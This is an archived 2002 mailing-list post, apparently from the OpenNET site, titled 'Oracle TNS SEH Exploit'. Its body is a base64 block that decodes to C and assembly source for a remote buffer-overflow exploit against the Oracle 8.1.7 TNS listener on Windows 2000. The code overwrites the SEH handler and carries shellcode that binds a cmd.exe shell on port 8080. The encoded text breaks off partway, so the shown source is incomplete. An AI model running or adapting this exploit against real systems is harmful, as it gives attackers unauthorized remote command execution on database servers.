The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Oracle TNS SEH Exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Wed, 27 Nov 2002 00:54:46 +0800
From: [email protected]
To: [email protected]
Subject: Oracle TNS SEH Exploit

LypPcmFjbGUgVE5TIFNFSCBFeHBsb2l0IEJ5IEJlbmp1cnJ5Lg0KDQpPcmFjbGUgUmVtb3RlIFZ1
bG5lcmFiaWxpdHkgZGlzY292ZXJpZWQgYnkgQ09WRVJUIExhYnMNCkNvZGUgYnkgYmVuanVycnks
YmVuanVycnlAeGZvY3VzLm9yZw0KV2VsY29tZSB0byBodHRwOi8vd3d3Lnhmb2N1cy5uZXQgJiBo
dHRwOi8vd3d3Lnhmb2N1cy5vcmcNClRoYW5rIG15IGZyaWVuZHM6QmF0bWFuLHhxIGFuZCBZdWFu
Z2UuDQpUaGFuayBtZW1iZXJzIG9mIFhmb2N1cy4NClRoaXMgRXhwbG9pdCBvbmx5IHRlc3Qgb24g
V2luMmsgQ2hpbmVzZSArc3AyIGFuZCBPcmFjbGUgOC4xLjcNCg0KMjAwMS43LjIwDQoNCg0KDQoq
Lw0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8d2luc29jazIuaD4NCiNpbmNsdWRlIDx3
aW5kb3dzLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojcHJhZ21hIGNvbW1lbnQgKGxpYiwiV3My
XzMyIikNCg0KI2RlZmluZSAgRk5FTkRMT05HICAgICAweDA4DQojZGVmaW5lICBOT1BDT0RFICAg
ICAweDkwDQojZGVmaW5lICBOT1BMT05HICAgICAgIDB4MjANCiNkZWZpbmUgIEJVRkZTSVpFICAg
ICAgMHgxYjAwDQojZGVmaW5lICBSRVRFSVBBRERSRVNTIDB4MA0KI2RlZmluZSAgU0hFTExQT1JU
ICAgICAweDFmOTAgIC8vc2hlbGwgcG9ydCA9ODA4MA0KI2RlZmluZSBQT1JUIDE1MjENCg0Kdm9p
ZCAgICAgc2hlbGxjb2RlZm5sb2NrKCk7DQp2b2lkICAgICBzaGVsbGNvZGVmbigpOw0KDQp2b2lk
ICAgICBjbGVhbmNoa2VzcChjaGFyICpmbmFkZCxjaGFyICpzaGVsbGJ1ZmYsY2hhciAqY2hrZXNw
YWRkICxpbnQgbGVuKTsNCg0KaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkNCnsNCiBj
aGFyICpzdHI9Ilx4MWZceDkwIiJMb2FkTGlicmFyeUEiIlx4MCIiQ3JlYXRlUGlwZSIiXHgwIg0K
ICAgICAgICJDcmVhdGVQcm9jZXNzQSIiXHgwIiJDbG9zZUhhbmRsZSIiXHgwIg0KICAgICAgICJQ
ZWVrTmFtZWRQaXBlIiJceDAiDQogICAgICAgIlJlYWRGaWxlIiJceDAiIldyaXRlRmlsZSIiXHgw
Ig0KICAgICAgICJ3c29jazMyLmRsbCIiXHgwIiJzb2NrZXQiIlx4MCINCiAgICAgICAiYmluZCIi
XHgwIiJsaXN0ZW4iIlx4MCINCiAgICAgICAiYWNjZXB0IiJceDAiInNlbmQiIlx4MCINCiAgICAg
ICAicmVjdiIiXHgwIiJpb2N0bHNvY2tldCIiXHgwIg0KICAgICAgICJjbG9zZXNvY2tldCIiXHgw
Ig0KICAgICAgICJjbWQuZXhlIiJceDAiImV4aXRceDBkXHgwYSIiXHgwIg0KICAgICAgICJzdHJl
bmQiOw0KDQoNCiAgIGNoYXIgKmZuZW5kc3RyPSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTAiOw0KICBjaGFyIGNtZDFbXT0iKERFU0NSSVBUSU9OPShDT05ORUNUX0RBVEE9KENJ
RD0oUFJPR1JBTT0pKEhPU1Q9KShVU0VSPSkpKENPTU1BTkQ9c3RhdHVzKShBUkdVTUVOVFM9Myko
U0VSVklDRT0iOw0KICBjaGFyIGNtZDJbXT0iMSkoVkVSU0lPTj0xKSkpIjsNCiAgY2hhciBoZWFk
W109Ilx4MDBceDU5XHgwMFx4MDBceDAxXHgwMFx4MDBceDAwXHgwMVx4MzYiDQogICAiXHgwMVx4
MmNceDAwXHgwMFx4MDhceDAwXHg3Zlx4ZmZceDdmXHgwOFx4MDBceDAwXHgwMFx4MDEiDQogICAi
XHgwMFx4MWZceDAwXHgzYVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAi
DQogICAiXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgzNFx4ZTZceDAwXHgwMFx4MDBceDAxXHgw
MFx4MDAiDQogICAiXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsNCiAgY2hhciAgZWlwd2lubnRb
XT0iXHg2M1x4MGRceGZhXHg3ZiI7ICAgIC8vIGptcCBlYngNCg0KY2hhciAgSk1QTkVYVEpNUFtd
PSJceGViXHgwNlx4OTBceDkwIjsNCiAgY2hhciAgSk1QU0hFTExbXT0iXHhlOVx4MmFceGU3XHhm
Zlx4ZmYiOw0KICANCiAgY2hhciAgICBidWZmW0JVRkZTSVpFXTsNCiAgY2hhciAgICByZWN2YnVm
ZltCVUZGU0laRV07DQogIGNoYXIgICAgc2hlbGxjb2RlYnVmZlsweDEwMDBdOw0KICAgY2hhciAg
ICAqc2hlbGxjb2RlZm5hZGQsKmNoa2VzcGFkZDsNCiAgICAgdW5zaWduZWQgIGNoYXIgdGVtcDsN
CiAgaW50IE9WRVJBREQyPTYzNDY7DQogIGNoYXIgYnVmZmVyMltCVUZGU0laRV07DQogIGludCBy
ZXQ7DQogaW50IHBhY2tldGxlbmd0aDsNCiBpbnQgY21kbGVuZ3RoOw0KIGludCB0dCxzaGVsbGNv
ZGVwb3J0LHNlbmRwYWNrZXRsb25nOw0KIGludCBpLGosazsNCiBpbnQgT1ZFUkFERD0wOw0KDQog
V1NBREFUQSBXU0FEYXRhOw0KIHN0cnVjdCBob3N0ZW50ICAgICAgICAgICpodDsNCiBzdHJ1Y3Qg
c29ja2FkZHJfaW4gICAgICBzZXJ2ZXI7DQogbWVtc2V0KGJ1ZmYsTk9QQ09ERSxCVUZGU0laRSk7
DQogcHJpbnRmKCJPcmFjbGUgUmVtb3RlIFZ1bG5lcmFiaWxpdHkgZGlzY292ZXJpZWQgYnkgQ09W
RVJUIExhYnNcbiIpOw0KIHByaW50ZigiQ29kZSBieSBiZW5qdXJyeSxiZW5qdXJyeUB4Zm9jdXMu
b3JnXG4iKTsNCiBwcmludGYoIldlbGNvbWUgdG8gaHR0cDovL3d3dy54Zm9jdXMubmV0XG4iKTsN
CiBpZihhcmdjPDIpDQogew0KICBwcmludGYoInVzZWFnZTolcyB0YXJnZXRcbiIsYXJndlswXSk7
DQpleGl0KDEpOw0KIH0NCg0KIGlmKCh0dD1XU0FTdGFydHVwKE1BS0VXT1JEKDEsMSksICZXU0FE
YXRhKSkgIT0gMCkNCiAgICAgICAgew0KICAgICAgICAgICAgICAgIHByaW50ZigiV1NBU3RhcnR1
cCBmYWlsZWQuXG4iKTsNCiAgICB0dD1HZXRMYXN0RXJyb3IoKTsNCiAgICAgICAgICAgICAgICBX
U0FDbGVhbnVwKCk7DQogICAgICAgICAgICAgICAgZXhpdCgxKTsNCiAgICAgICAgfQ0KaWYoKGh0
ID0gZ2V0aG9zdGJ5bmFtZShhcmd2WzFdKSk9PTApDQp7DQogICAgICAgICAgICAgICAgcHJpbnRm
KCJVbmFibGUgdG8gcmVzb2x2ZSBob3N0ICVzXG4iLGFyZ3ZbMV0pOw0KICAgICAgICAgICAgICAg
IGV4aXQoMSk7DQogICAgICAgIH0gDQpzZXJ2ZXIuc2luX3BvcnQgPSBodG9ucyhQT1JUKTsNCnNl
cnZlci5zaW5fZmFtaWx5PUFGX0lORVQ7DQpzZXJ2ZXIuc2luX2FkZHI9Kigoc3RydWN0IGluX2Fk
ZHIgKilodC0+aF9hZGRyKTsNCiAgIGlmKChyZXQgPSBzb2NrZXQoQUZfSU5FVCwgU09DS19TVFJF
QU0sIDApKSA9PSAtMSkNCiAgICAgICAgew0KICAgICAgICAgICAgICAgIHByaW50ZigiVW5hYmxl
IHRvIHNldCB1cCBzb2NrZXRcbiIpOw0KICAgICAgICAgICAgICAgIGV4aXQoMSk7DQogICAgICAg
IH0gICANCg0KaWYoKGNvbm5lY3QocmV0LCAoc3RydWN0IHNvY2thZGRyICopICZzZXJ2ZXIsIHNp
emVvZihzZXJ2ZXIpKSkgPT0gLTEpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICBwcmludGYo
IlVuYWJsZSB0byBjb25uZWN0XG4iKTsNCiAgICAgICAgICAgICAgICBleGl0KDEpOw0KICAgICAg
ICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICBwcmludGYoIkNvbm5lY3RlZC5cbiIp
Ow0KIA0KDQoNCiANCg0KIA0KDQoNCg0KX2FzbXsNCiAgICAgICAgbW92IEVTSSxFU1ANCiAgICAg
ICAgY21wIEVTSSxFU1ANCiAgICAgDQogIH0NCiBfY2hrZXNwKCk7DQogIGNoa2VzcGFkZD0oY2hh
ciAqKV9jaGtlc3A7DQogIHRlbXA9KmNoa2VzcGFkZDsNCiAgaWYodGVtcD09MHhlOSkgew0KICAg
ICAgICAgKytjaGtlc3BhZGQ7DQogICAgICAgICAgaT0qKGludCopY2hrZXNwYWRkOw0KICAgICAg
ICAgY2hrZXNwYWRkKz1pOw0KICAgICAgICAgY2hrZXNwYWRkKz00Ow0KICB9DQoNCiAgc2hlbGxj
b2RlZm5hZGQ9KGNoYXIgKilzaGVsbGNvZGVmbmxvY2s7DQogIHRlbXA9KnNoZWxsY29kZWZuYWRk
Ow0KICBpZih0ZW1wPT0weGU5KSB7DQogICAgICAgICArK3NoZWxsY29kZWZuYWRkOw0KICAgICAg
ICAgaz0qKGludCAqKXNoZWxsY29kZWZuYWRkOw0KICAgICAgICAgc2hlbGxjb2RlZm5hZGQrPWs7
DQogICAgICAgICBzaGVsbGNvZGVmbmFkZCs9NDsNCiAgfQ0KDQogIGZvcihrPTA7azw9MHg1MDA7
KytrKXsNCiAgICAgICBpZihtZW1jbXAoc2hlbGxjb2RlZm5hZGQrayxmbmVuZHN0cixGTkVORExP
TkcpPT0wKSBicmVhazsNCiAgfQ0KIA0KDQoNCg0KICAgbWVtc2V0KGJ1ZmYsJ1x4NDInLEJVRkZT
SVpFKTsNCiAgIGZvcihpPTA7aTxOT1BMT05HO2krKykNCiAgICBidWZmW2ldPSdceDkwJzsNCg0K
IG1lbWNweShidWZmK09WRVJBREQrTk9QTE9ORyxzaGVsbGNvZGVmbmFkZCtrKzQsMHg4MCk7DQog
ICAgIA0KICBzaGVsbGNvZGVmbmFkZD0oY2hhciAqKXNoZWxsY29kZWZuOw0KICB0ZW1wPSpzaGVs
bGNvZGVmbmFkZDsNCiAgaWYodGVtcD09MHhlOSkgew0KICAgICsrc2hlbGxjb2RlZm5hZGQ7DQog
ICAgaz0qKGludCAqKXNoZWxsY29kZWZuYWRkOw0KICAgICAgICAgICBzaGVsbGNvZGVmbmFkZCs9
azsNCiAgICBzaGVsbGNvZGVmbmFkZCs9NDsNCiAgfQ0KICANCg0KICBmb3Ioaz0wO2s8PTB4MTAw
MDsrK2spew0KICAgIGlmKG1lbWNtcChzaGVsbGNvZGVmbmFkZCtrLGZuZW5kc3RyLEZORU5ETE9O
Ryk9PTApIGJyZWFrOw0KICB9DQoNCiAgbWVtY3B5KHNoZWxsY29kZWJ1ZmYsc2hlbGxjb2RlZm5h
ZGQsayk7ICAgDQogIGNsZWFuY2hrZXNwKHNoZWxsY29kZWZuYWRkLHNoZWxsY29kZWJ1ZmYsY2hr
ZXNwYWRkLGspOw0KICBmb3IoaT0wO2k8MHg0MDA7KytpKXsgDQogICAgaWYobWVtY21wKHN0citp
LCJzdHJlbmQiLDYpPT0wKSBicmVhazsNCiAgfSAgICAgDQogIG1lbWNweShzaGVsbGNvZGVidWZm
K2ssc3RyLGkpOw0KDQogIA0KICBzaGVsbGNvZGVwb3J0PVNIRUxMUE9SVDsNCiAgc2hlbGxjb2Rl
cG9ydD1odG9ucyhzaGVsbGNvZGVwb3J0KTsNCiAgKih1X3Nob3J0ICopKHNoZWxsY29kZWJ1ZmYr
ayk9c2hlbGxjb2RlcG9ydDsNCiAgZnByaW50ZihzdGRlcnIsIlxuIHNoZWxscG9ydCAlZCIsaHRv
bnMoc2hlbGxjb2RlcG9ydCkpOw0KICANCiAgc2VuZHBhY2tldGxvbmc9aytpOw0KICBmb3Ioaz0w
O2s8PTB4MjAwOysrayl7DQogICAgICAgICBpZihtZW1jbXAoYnVmZitPVkVSQUREK05PUExPTkcr
ayxmbmVuZHN0cixGTkVORExPTkcpPT0wKSBicmVhazsNCiAgfQ0KDQogZm9yKGk9MDtpPHNlbmRw
YWNrZXRsb25nOysraSl7DQogICAgICB0ZW1wPXNoZWxsY29kZWJ1ZmZbaV07DQogICAgICBpZih0
ZW1wPD0weDEwfHx0ZW1wPT0nMCcpew0KDQogICAgICAgYnVmZltPVkVSQUREK05PUExPTkcra109
JzAnOw0KICAgICAgICsrazsNCiAgICAgICB0ZW1wKz0weDQwOw0KICAgICAgfQ0KICAgICAgYnVm
ZltPVkVSQUREK05PUExPTkcra109dGVtcDsNCiAgICAgICsrazsNCn0NCg0KIA0KDQogICBtZW1j
cHkoYnVmZitPVkVSQUREMixKTVBORVhUSk1QLDQpOw0KIA0KDQovLyB9DQptZW1jcHkoYnVmZitP
VkVSQUREMis0LGVpcHdpbm50LDQpOw0KDQogbWVtY3B5KGJ1ZmYrT1ZFUkFERDIrOCxKTVBTSEVM
TCw1KTsNCg0KIGZvcihpPU9WRVJBREQyKzEzO2k8QlVGRlNJWkU7aSsrKQ0KICBidWZmW2ldPSdc
eDkwJzsNCg0KDQogbWVtc2V0KGJ1ZmZlcjIsJ1x4OTAnLHNpemVvZihidWZmZXIyKSk7DQogbWVt
Y3B5KGJ1ZmZlcjIsaGVhZCxzaXplb2YoaGVhZCktMSk7DQogbWVtY3B5KGJ1ZmZlcjIrc2l6ZW9m
KGhlYWQpLTEsY21kMSxzaXplb2YoY21kMSktMSk7DQogbWVtY3B5KGJ1ZmZlcjIrc2l6ZW9mKGhl
YWQpLTErc2l6ZW9mKGNtZDEpLTEsYnVmZixzaXplb2YoYnVmZikpOw0KIG1lbWNweShidWZmZXIy
K3NpemVvZihoZWFkKStzaXplb2YoY21kMSkrc2l6ZW9mKGJ1ZmYpLTMsY21kMixzaXplb2YoY21k
MiktMSk7DQogIA0KDQogcGFja2V0bGVuZ3RoPTU4K3NpemVvZihidWZmKStzaXplb2YoY21kMSkr
c2l6ZW9mKGNtZDIpLTM7DQogY21kbGVuZ3RoPXNpemVvZihidWZmKStzaXplb2YoY21kMSkrc2l6
ZW9mKGNtZDIpLTM7DQoNCiBidWZmZXIyWzBdPXBhY2tldGxlbmd0aD4+IDg7DQogYnVmZmVyMlsx
XT1wYWNrZXRsZW5ndGggJiAweGZmOw0KIGJ1ZmZlcjJbMjRdPWNtZGxlbmd0aD4+ODsNCiBidWZm
ZXIyWzI1XT1jbWRsZW5ndGgmIDB4ZmY7DQoNCg0KDQoNCg0KICBpZihzZW5kKHJldCwgYnVmZmVy
MiwgcGFja2V0bGVuZ3RoLCAwKSA9PSAtMSkNCiAgICAgICAgew0KICAgICAgICAgICAgICAgIHBy
aW50ZigiVW5hYmxlIHRvIHNlbmRcbiIpOw0KICAgICAgICAgICAgICAgIGV4aXQoMSk7DQogICAg
ICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAgICAgcHJpbnRmKCJj
b2RlIHNlbnRlZC4uLlxuIik7DQogICAgICAgICAgICAgICAgDQogICAgICAgIH0NClNsZWVwKDEw
MDApOw0KY2xvc2Vzb2NrZXQocmV0KTsNCnJldHVybiAwOw0KDQoNCn0NCg0Kdm9pZCAgc2hlbGxj
b2RlZm5sb2NrKCkNCnsNCiAgICAgICBfYXNtew0KICAgICAgICAgICAgICBub3ANCiAgICAgICAg
ICAgICAgbm9wDQogICAgICAgICAgICAgIG5vcA0KICAgICAgICAgICAgICBub3ANCiAgICAgICAg
ICAgICAgbm9wDQogICAgICAgICAgICAgIG5vcA0KICAgICAgICAgICAgICBub3ANCiAgICAgICAg
ICAgICAgbm9wDQoNCiAgICAgICAgICAgICAgam1wICAgbmV4dA0KZ2V0ZWRpYWRkOiAgICAgICAg
ICAgICAgcG9wICAgRURJDQogICAgICAgICAgICAgIHB1c2ggIEVESQ0KICAgICAgICAgICAgICBw
b3AgICBFU0kNCiAgICAgICAgICAgICAgeG9yICAgZWN4LGVjeA0KICAgICAgICAgICAgICBtb3Yg
ICBjeCwweDBmZDANCmxvb3Bsb2NrOiAgICAgICAgICAgIGxvZHNiDQogICAgICAgIGNtcCAgIGFs
LDB4MzANCiAgICAgICAgam56ICAgc3RvDQogICAgICAgICAgICAgICAgICAgICBsb2RzYg0KICAg
ICAgICBzdWIgICBhbCwweDQwDQpzdG86ICAgICAgICAgICAgICAgICBzdG9zYg0KICAgICAgICBs
b29wICBsb29wbG9jaw0KICAgICAgICBqbXAgICBzaGVsbA0KbmV4dDogICAgICAgICAgICAgICAg
Y2FsbCAgZ2V0ZWRpYWRkDQoNCnNoZWxsOiAgICAgICAgIE5PUA0KICAgICAgICBOT1ANCiAgICAg
ICAgTk9QDQogICAgICAgIE5PUA0KICAgICAgICBOT1ANCiAgICAgICAgTk9QDQogICAgICAgIE5P
UA0KICAgICAgICBOT1ANCiAgICAgICAgICAgICAgDQogICAgfQ0KfSANCg0KLypiaW5kIGNtZC5l
eGUgICovDQp2b2lkIHNoZWxsY29kZWZuKCkNCnsgICAgY2hhciAgICAgICAgQnVmZlsweDgwMF07
DQogICAgaW50ICAgICAgICAgKmV4Y2VwdFszXTsNCg0KICAgIEZBUlBST0MgICAgIGNsb3Nlc29j
a2V0YWRkOw0KICAgIEZBUlBST0MgICAgIGlvY3Rsc29ja2V0YWRkOw0KICAgIEZBUlBST0MgICAg
IHJlY3ZhZGQ7DQogICAgICAgICAgIEZBUlBST0MgICAgIHNlbmRhZGQ7DQogICAgICAgICAgIEZB
UlBST0MgICAgIGFjY2VwdGFkZDsNCiAgICAgICAgICAgRkFSUFJPQyAgICAgbGlzdGVuYWRkOw0K
ICAgICAgICAgICBGQVJQUk9DICAgICBiaW5kYWRkOw0KICAgICAgRkFSUFJPQyAgICAgICAgc29j
a2V0YWRkOw0KLy8gICAgRkFSUFJPQyAgICAgV1NBU3RhcnR1cGFkZDsNCg0KICAgIEZBUlBST0Mg
ICAgICAgIE5PUE5PUDsNCg0KICAgIEZBUlBST0MgICAgIFdyaXRlRmlsZWFkZDsNCiAgICBGQVJQ
Uk9DICAgICBSZWFkRmlsZWFkZDsNCiAgICBGQVJQUk9DICAgICBQZWVrTmFtZWRQaXBlYWRkOw0K
ICAgIEZBUlBST0MgICAgIENsb3NlSGFuZGxlYWRkOw0KICAgIEZBUlBST0MgICAgIENyZWF0ZVBy
b2Nlc3NhZGQ7DQogICAgRkFSUFJPQyAgICAgQ3JlYXRlUGlwZWFkZDsNCiAgICBGQVJQUk9DICAg
ICBwcm9jbG9hZGxpYjsNCg0KICAgIEZBUlBST0MgICAgIGFwaWZuYWRkWzFdOw0KICAgIEZBUlBS
T0MgICAgIHByb2NnZXRhZGQ9MDsNCiAgICANCiAgICBjaGFyICAgICAgICAqc3RyYWRkOw0KICAg
IGludCAgICAgICAgIGltZ2Jhc2UsZm5iYXNlLGssbDsNCiAgICBIQU5ETEUgICAgICBsaWJoYW5k
bGU7ICAgLy9saWJ3c29jazMyOyAgDQogICAgICAgICAgIFNUQVJUVVBJTkZPIHNpaW5mbzsNCiAg
ICAgICAgICAgU09DS0VUICAgICAgbGlzdGVuRkQsY2xpZW50RkQ7DQogICAgICAgICAgIHN0cnVj
dCAgICAgIHNvY2thZGRyX2luIHNlcnZlcjsNCiAgICAgICAgICAgaW50ICAgICAgICAgaUFkZHJT
aXplID0gc2l6ZW9mKHNlcnZlcik7DQogICAgaW50ICAgICAgICAgbEJ5dGVzUmVhZDsNCiAgICB1
X3Nob3J0ICAgICBzaGVsbGNvZGVwb3J0Ow0KDQogICAgICAgICAgIFBST0NFU1NfSU5GT1JNQVRJ
T04gUHJvY2Vzc0luZm9ybWF0aW9uOw0KICAgICAgICAgICBIQU5ETEUgICAgICBoUmVhZFBpcGUx
LGhXcml0ZVBpcGUxLGhSZWFkUGlwZTIsaFdyaXRlUGlwZTI7DQogICAgICAgICAgIFNFQ1VSSVRZ
X0FUVFJJQlVURVMgc2E7DQogICAgX2FzbSB7ICAgICBqbXAgICAgbmV4dGNhbGwNCiAgICAgICAg
IGdldHN0cmFkZDogICBwb3AgICAgc3RyYWRkDQogICAgICAgICAgICAgICAgICAgICAgbGVhICAg
IEVESSxleGNlcHQNCiAgICAgICAgICAgICAgICAgICAgbW92ICAgIGVheCxkd29yZCBwdHIgRlM6
WzBdDQogICAgICAgIG1vdiAgICBkd29yZCBwdHIgW2VkaSsweDA4XSxlYXgNCiAgICAgICAgbW92
ICAgIGR3b3JkIHB0ciBGUzpbMF0sRURJDQogICAgICAgICAgICAgICAgICAgICAgDQogICAgfQ0K
ICAgICAgIGV4Y2VwdFswXT0weGZmZmZmZmZmOw0KICAgICAgIGV4Y2VwdFsxXT1zdHJhZGQtMHgw
NzsNCg0KICAgICAgIGltZ2Jhc2U9MHg3N2UwMDAwMDsNCiAgICAgICBfYXNtew0KICAgICAgICAg
IGNhbGwgZ2V0ZXhjZXB0cmV0YWRkDQogICAgICAgfQ0KZm9yKDtpbWdiYXNlPDB4YmZmYTAwMDAs
cHJvY2dldGFkZD09MDspew0KICAgICBpbWdiYXNlKz0weDEwMDAwOw0KICAgICBpZihpbWdiYXNl
PT0weDc4MDAwMDAwKSBpbWdiYXNlPTB4YmZmMDAwMDA7DQogICAgIGlmKCooIFdPUkQgKilpbWdi
YXNlPT0nWk0nJiYgKihXT1JEICopKGltZ2Jhc2UrKihpbnQgKikoaW1nYmFzZSsweDNjKSk9PSdF
UCcpew0KICAgIGZuYmFzZT0qKGludCAqKShpbWdiYXNlKyooaW50ICopKGltZ2Jhc2UrMHgzYykr
MHg3OCkraW1nYmFzZTsNCiAgICBrPSooaW50ICopKGZuYmFzZSsweGMpK2ltZ2Jhc2U7DQogICAg
aWYoKihpbnQgKilrID09J05SRUsnJiYqKGludCAqKShrKzQpPT0nMjNMRScpew0KICAgICAgICBs
aWJoYW5kbGU9aW1nYmFzZTsNCiAgICAgICBrPWltZ2Jhc2UrKihpbnQgKikoZm5iYXNlKzB4MjAp
Ow0KICAgICAgIGZvcihsPTA7bDwqKGludCAqKSAoZm5iYXNlKzB4MTgpOysrbCxrKz00KXsNCiAg
ICAgICAgICBpZigqKGludCAqKShpbWdiYXNlKyooaW50ICopayk9PSdQdGVHJyYmKihpbnQgKiko
NCtpbWdiYXNlKyooaW50ICopayk9PSdBY29yJyl7DQogICAgICAgICAgICAgaz0qKFdPUkQgKiko
bCtsK2ltZ2Jhc2UrKihpbnQgKikoZm5iYXNlKzB4MjQpKTsNCiAgICAgICAgICAgICBrKz0qKGlu
dCAqKShmbmJhc2UrMHgxMCktMTsNCiAgICAgICAgICAgICBrPSooaW50ICopKGsraytrK2sraW1n
YmFzZSsqKGludCAqKShmbmJhc2UrMHgxYykpOw0KICAgICAgICAgICAgIHByb2NnZXRhZGQ9aytp
bWdiYXNlOw0KICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICB9DQogICAgICAgIH0NCiAg
ICB9DQogICAgICAgIH0NCiAgICB9DQoNCg0KICBfYXNtew0KICAgICAgICAgICBsZWEgZWRpLGV4
Y2VwdA0KICAgICAgICAgICBtb3YgZWF4LGR3b3JkIHB0ciBbZWRpKzB4MDhdICAgDQogICAgbW92
IGR3b3JkIHB0ciBmczpbMF0sZWF4DQogICB9DQoNCiAgICAgICANCiAgIGlmKHByb2NnZXRhZGQ9
PTApIGdvdG8gIGRpZSA7DQoNCiAgIHNoZWxsY29kZXBvcnQ9Kih1X3Nob3J0ICopc3RyYWRkOw0K
ICAgc3RyYWRkKz0yOw0KICAgZm9yKGs9MTtrPDE3Oysraykgew0KICAgIGlmKGs9PTgpIGxpYmhh
bmRsZT1wcm9jbG9hZGxpYihzdHJhZGQpOw0KICAgIGVsc2UgICAgIGFwaWZuYWRkW2tdPXByb2Nn
ZXRhZGQobGliaGFuZGxlLHN0cmFkZCk7DQogICAgZm9yKDs7KytzdHJhZGQpew0KICAgICAgICAg
aWYoKihzdHJhZGQpPT0wJiYqKHN0cmFkZCsxKSE9MCkgYnJlYWs7DQogICAgfQ0KICAgICsrc3Ry
YWRkOw0KICAgfQ0KDQovLyAgICAgICAgICAgV1NBU3RhcnR1cGFkZChNQUtFV09SRCgxLCAxKSwg
JndzYURhdGEpOw0KDQogICAgICAgICAgICBsaXN0ZW5GRCA9IHNvY2tldGFkZChBRl9JTkVULFNP
Q0tfU1RSRUFNLElQUFJPVE9fVENQKTsNCiAgICAgICAgICAgIHNlcnZlci5zaW5fZmFtaWx5ID0g
QUZfSU5FVDsNCiAgICAgICAgICAgIHNlcnZlci5zaW5fcG9ydCA9c2hlbGxjb2RlcG9ydDsNCiAg
ICAgICAgICAgIC8vU0hFTExQT1JUOw0KICAgICAgICAgICAgc2VydmVyLnNpbl9hZGRyLnNfYWRk
cj0wOw0KICAgICAgICBrPTE7DQogICAgIHdoaWxlKGshPTApew0KICAgICAgICAgIGs9YmluZGFk
ZChsaXN0ZW5GRCwmc2VydmVyLHNpemVvZihzZXJ2ZXIpKTsNCiAgICAgICAgICAgICAgICAgc2Vy
dmVyLnNpbl9wb3J0Kz0weDEwMDsNCiAgICAgICAgICBpZihzZXJ2ZXIuc2luX3BvcnQ8MHgxMDAp
ICsrc2VydmVyLnNpbl9wb3J0Ow0KICAgICAgICAgICAgfQ0KICAgICBsaXN0ZW5hZGQobGlzdGVu
RkQsMTApOw0KDQp3aGlsZSgxKXsNCiAgICAgICAgICAgIHNhLm5MZW5ndGg9MTI7DQogICAgICAg
ICAgICBzYS5scFNlY3VyaXR5RGVzY3JpcHRvcj0wOw0KICAgICAgICAgICAgc2EuYkluaGVyaXRI
YW5kbGU9VFJVRTsNCg0KICAgICAgICAgICAgQ3JlYXRlUGlwZWFkZCgmaFJlYWRQaXBlMSwmaFdy
aXRlUGlwZTEsJnNhLDApOw0KICAgICAgICAgICAgQ3JlYXRlUGlwZWFkZCgmaFJlYWRQaXBlMiwm
aFdyaXRlUGlwZTIsJnNhLDApOw0KDQovLyBaZXJvTWVtb3J5KCZzaWluZm8sc2l6ZW9mKHNpaW5m
bykpOw0KICAgICAgICAgICAgX2FzbXsNCiAgICAgICAgICAgICAgICAgbGVhIEVESSxzaWluZm8N
CiAgICAgICAgICAgICAgICB4b3IgZWF4LGVheA0KICAgICAgICAgICAgICAgIG1vdiBlY3gsMHgx
MQ0KICAgICAgICAgICAgICAgIHJlcG56IHN0b3NkDQogICAgICAgICAgICB9DQogICAgc2lpbmZv
LmR3RmxhZ3MgPSBTVEFSVEZfVVNFU0hPV1dJTkRPV3xTVEFSVEZfVVNFU1RESEFORExFUzsNCiAg
ICBzaWluZm8ud1Nob3dXaW5kb3cgPSBTV19ISURFOw0KICAgIHNpaW5mby5oU3RkSW5wdXQgPSBo
UmVhZFBpcGUyOw0KICAgIHNpaW5mby5oU3RkT3V0cHV0PWhXcml0ZVBpcGUxOw0KICAgIHNpaW5m
by5oU3RkRXJyb3IgPWhXcml0ZVBpcGUxOw0KDQovLyAgIGs9MDsNCi8vICAgIHdoaWxlKGs9PTAp
DQovLyAgICB7DQogICAgaz1DcmVhdGVQcm9jZXNzYWRkKE5VTEwsc3RyYWRkLE5VTEwsTlVMTCwx
LDAsTlVMTCxOVUxMLCZzaWluZm8sJlByb2Nlc3NJbmZvcm1hdGlvbik7DQovLyAgICAgICAgc3Ry
YWRkKz04Ow0KLy8gICAgfSAgICANCiAgICBQZWVrTmFtZWRQaXBlYWRkKGhSZWFkUGlwZTEsQnVm
ZiwxMDI0LCZsQnl0ZXNSZWFkLDAsMCk7DQoNCiAgICBjbGllbnRGRD1hY2NlcHRhZGQobGlzdGVu
RkQsJnNlcnZlciwmaUFkZHJTaXplKTsNCg0KICAgIHdoaWxlKDEpIHsNCiAgICAgICAgUGVla05h
bWVkUGlwZWFkZChoUmVhZFBpcGUxLEJ1ZmYsMTAyNCwmbEJ5dGVzUmVhZCwwLDApOw0KICAgICAg
ICBpZihsQnl0ZXNSZWFkPjApIHsNCiAgICAgICAgICAgICAgUmVhZEZpbGVhZGQoaFJlYWRQaXBl
MSxCdWZmLGxCeXRlc1JlYWQsJmxCeXRlc1JlYWQsMCk7DQogICAgICAgICAgICAgIGlmKGxCeXRl
c1JlYWQ+MCkgc2VuZGFkZChjbGllbnRGRCxCdWZmLGxCeXRlc1JlYWQsMCk7DQogICAgICAgICAg
ICAgIGVsc2Ugc2VuZGFkZChjbGllbnRGRCxzdHJhZGQsOCwwKTsNCiAgICAgICAgfQ0KICAgICAg
ICBlbHNlIHsNCiAgICAgICAgICAgIGxCeXRlc1JlYWQ9cmVjdmFkZChjbGllbnRGRCxCdWZmLDEw
MjQsMCk7DQoNCiAgICAgICAgICAgIGlmKGxCeXRlc1JlYWQ8PTApew0KLy8gICAgICAgICAgICAg
ICAgICAgIENsb3NlSGFuZGxlYWRkKFByb2Nlc3NJbmZvcm1hdGlvbi5oUHJvY2Vzcyk7ICAvLy5k
